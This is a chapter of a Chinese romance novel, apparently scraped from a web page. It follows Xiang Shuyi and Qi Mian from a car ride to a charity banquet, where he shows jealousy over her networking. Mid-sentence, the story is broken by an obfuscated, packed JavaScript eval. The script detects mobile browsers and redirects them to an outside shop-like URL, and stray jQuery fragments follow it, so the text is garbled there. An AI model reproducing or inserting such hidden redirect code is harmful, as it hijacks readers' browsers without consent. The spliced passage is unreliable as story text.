一个在手机里发送实时弹幕一般接连评价,一个莫名其妙涨红了脸在对面对她倾情表白。
两个男的各说各的,只剩下向殊意一个人站在原地凌乱。
林主管还在滔滔不绝表达各种她完全没有一丁点印象的小事,多到她都要合理怀疑这是不是她在梦游的时候做的。
不然怎么能一点印象都没?
向殊意握着手机的手指微微收紧,思考该用个什么借口拒绝一下他时,耳边突然传来低低的话音:“要迟到了。”
向殊意眼前一亮。
有了第一次就有第二次,第二次再来便有了充足经验。
于是向殊意深吸一口气,开口打断:“林主管。”
对方立刻终止了话音,小心翼翼看着她。
向殊意眼睫轻颤,还是下定决心把手机从耳边拿下来,把屏幕面向他,说:“我有男朋友了。”
她面不改色地扯:“他在车位等我。谢谢你的喜欢,但我还是没办法……”
林主管已经石化在原地。
他不可置信地看着她手机上的备注,嗫嚅道:“……哥哥?”
什么玩意儿?!
向殊意浑身都凉了一瞬,猛地把手机转向自己。
当年一定是有人逼迫了她。
这么亲密又羞耻的俩字,备注在好友昵称也就算了,怎么连电话也有?
她第一时间把手机收回来,匆忙在屏幕上一顿乱按挂断,只能寄希望于手机对面的祁勉没听见。
“你应该能懂吧,哥哥就是一种……情侣之间的亲密称呼……”
“抱歉,我欠考虑了。”林主管心死了,垂头丧气地和她擦肩离开。
她缓了口气,找到车位上祁勉停在那儿的车。
这回他带了司机。向殊意一想,这人指定坐在后座。为了避免尴尬,她当即决定坐副驾。
可她绕到副驾车门外,发现车门上锁了拉不开。车窗缓缓往下,司机把头伸过来客气地说:“向小姐,祁总让您坐后排。”
向殊意扯扯唇角,望向后排,车门已经缓缓自动打开了。
她只好妥协坐进去。
祁勉双腿交叠,闻声望向门外。刚开口准备调侃,向殊意立刻飞快地说了一串:“祁总快迟到了快走吧再不走迟到了不好还是别说闲话了。”
祁勉扬起眉,看见她手掌平铺在膝盖上,腰背挺得笔直,头发被挽成丸子头,几缕发丝溜了出来,贴在雪白的脖颈皮肤上。
他缓缓点头,声音含笑:“行。”
车子驶了一阵,祁勉转头看了眼她的脚,说:“你的鞋……”
“很抱歉又欠你一个人情。”
祁勉哽了下:“?”
向殊意反应过来他不是在说刚刚电话里的事,有些尴尬地说:“没什么,你原本想说什么来着?”
祁勉开始闷闷地笑,并且还大有停不下来的趋势。
向殊意被他笑得耳朵泛红,不自在地伸手挠了下,“别笑了。”
她故意加重了话音,在祁勉听来却没有一丝威胁,可他还是非常听话地停了下来,清清嗓子:“就是问你,有没有准备鞋?”
向殊意低头看了眼鞋,“……这个不行吗?”
祁勉一副“我就知道”的样子,一面弓身拿起地上放着准备的鞋盒,一面瞥了眼她穿着的高跟:“这么高,一晚上下来脚腕别折了,到时候找我讹医药费。”
他替她把鞋盒打开,小心翼翼托起里面那双鞋,稳稳放在她脚前。
鞋子是双矮根,颜色是珍珠白,和她怀中抱着的礼服一模一样。被托在他宽大的手心里,像一双白色小船。
向殊意弓身脱鞋,脸颊的软肉蹭上膝盖被推得鼓起来,像只藏了食物在里头的松鼠。祁勉的视线不知不觉便落在她的脸上。
“尺码正好欸,”她抬头,面带惊喜:“你怎么知道……”
话音一顿。她蓦然撞进祁勉来不及收回的目光里。
那目光里带了些专注,又藏了些温柔和缱绻,让人只看一眼,都觉得快要深溺其中。
祁勉反应过来,眼神闪烁着强装镇定:
“因为我还记得。”
记得。
向殊意看着他的眼,突然发觉,他真的还记得很多很多东西。
记得她不爱吃洋葱,记得她月经日期,记得她最常用的那串密码,记得她鞋子穿什么码数。
每说一个“我记得”,都在反反复复提及,他们那过去很久、却无法忘记的曾经。
祁勉已经直起身,靠回座椅靠背。车子正好在这时候停下,司机回过头恭恭敬敬地说:“祁总,到了。”
祁勉“嗯”了声,转头问她:“穿好了?”
向殊意收回那些回忆,连忙点头:“好了。”
车门自动打开,她伸手把外套从肩头褪下,转身走出去。下了车,祁勉跟在她身后,弯腰替她整理裙摆,顺便腾出手抻了抻西装下摆。
慈善晚宴定在酒店一层的巨大活动厅中。
祁勉拿出邀请函给迎宾小哥,向殊意随意往大厅里瞟了一眼,一下子望见了几个眼熟的面孔。
都是些平日里神神秘秘、难得一见的大人物。
向殊意捏紧了手包,里面装着一叠名片,已经准备今晚要大展身手。
祁勉登记完成,走到她身边。看见她用力到有些发白的指尖,上前轻声问:“紧张?”
“嗯?”向殊意收回视线,“没有没有。”
祁勉只当她在嘴硬,某种保护欲和责任感瞬间上身。他把手臂往她面前一放:“挽着吧。”
向殊意望了他一眼,又抬头环视一圈,最后抬起手,轻轻环住他的手臂。雪白的小臂和纯黑色西装面料叠在一起,色彩对比鲜明。
祁勉尽量放低了声线,让声音听起来温和而低:“你要是担心应付不来,一直跟着我就行。”
他带着些许私心说完这话,状若无事地瞄了她一眼,却发现她正扬着头望他。
她脸上妆容清淡,睫毛浓密而卷翘,鼻头和眼角在闪闪发光,他向来看不懂也不了解这化妆品的学名叫什么,只觉得这点儿点缀,让她整个人变得像一颗晶莹剔透的白珍珠。
祁勉听见心脏异样地跳动,匆忙移开了视线。
他这么体贴又周到,向殊意觉得感动或是别的,也实属应该。
这么一想,他忍不住在她看不见的视角中悄悄扬起唇角。
“祁勉……”
果然来了。
祁勉胜券在握,忽然很好奇她会说些什么感谢的话。刚要转头,便听见身边的女人迟疑地问:
“你感冒了?”
祁勉头顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378567|200151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓缓冒出一个问号来。他转过头,看见向殊意眼里充斥着真心实意的疑惑,“你声音怎么突然这么哑,像鸭子似的。”
祁勉:“……”
“抱歉啊,”向殊意见他一脸无语的表情,反应过来赶紧捂住嘴,声音嗡嗡地从手掌中传出来,“我说的不是那个鸭子。”
祁勉的嘴角彻底放平。
有时候他真的挺想拆开向殊意的脑子,认真看看其中构造,搞清楚她的那点儿精明劲,是不是在工作交际的场合给耗光了,又或者……
只是对他才会没心没肺。
想通了这一点,祁勉突然神清气爽起来。
他再次弯起唇,抬脚往宴会厅里走。
向殊意的臂弯还挽着他,只能跟上他一起走。她抬头望着他的侧脸线条,满腹疑惑。
这哥们没事吧。
一会儿冷脸一会儿笑。
走进宴会厅,向殊意立刻便恢复一副得体而优雅的样子,微笑着望向四周,刚刚的腹诽也停了下来。
宴会还没正式开始,各个大佬们都在四处走动交际着积攒人脉。
向殊意远远望见业内著名的大佬王总,赶紧伸手悄悄拍了拍祁勉的手臂,压低声音说:“你能不能去王总那儿social一下?”
宴会音乐放得大声,祁勉没听清。他自然地弓下腰,耳朵凑近了向殊意的嘴唇,“什么?”
一身木质香气笼罩下来,话音低低沉沉,落在耳朵里激起一身微颤。
他的耳朵,距离她的嘴唇只剩几厘米的距离。
向殊意微张着唇,脑袋里突然空白起来,脸颊开始上了些温度。
偏偏面前的男人对她的状态毫无意识,等了一会儿没听见动静,偏头过来,微微蹙起眉尖,眯起眼睛怀疑自己听错:“你刚说话了没。”
向殊意眼神飘忽,声音里的底气没了一半:“我说,你能不能,带我去那个王总那里,说两句话……”
话音刚落,她看见祁勉眉间一松。
他直起身子,居高临下盯着她,语气不太爽:“搞了半天,又在跟我说别的男人?”
向殊意隐隐觉得这语气和话音都有点不太对劲,却不知道具体不对在哪儿。
她眨眨眼睛,勉强找回些底气:“不是你昨天说的今晚带我来结交人脉?不然我才不……”
祁勉嗤笑了声:“那也是你的人脉们主动来找我,你搞错顺序了。”
她刚要说些什么,余光中看见王总竟然往这边走了过来。
向殊意立刻恢复端庄,挽上祁勉的手臂,扬起标准微笑。
祁勉凉凉瞟她,手臂上立刻被她轻轻抓紧。
他心底冷笑一声,眉眼压着,看向不远处走过来的王总。
“祁总,早就久仰大名,今天得以一见,果然是气度非凡!”王总笑着朝他伸出手掌。
祁勉不看他,却偏过头来瞥她。
向殊意朝他明媚地笑笑,赶紧松开手。
祁勉这才将视线缓缓挪到面前王总伸出来的手掌中,伸手握住,低声吐出两个字:“久仰。”
王总收回手,抹了抹额头上并不存在的汗,将自己祖宗十八代都给想了一遍,也没想出来自己哪儿有得罪过这位大佛。
不然怎么总觉得,大佛望向他的眼神中带了些……
杀气?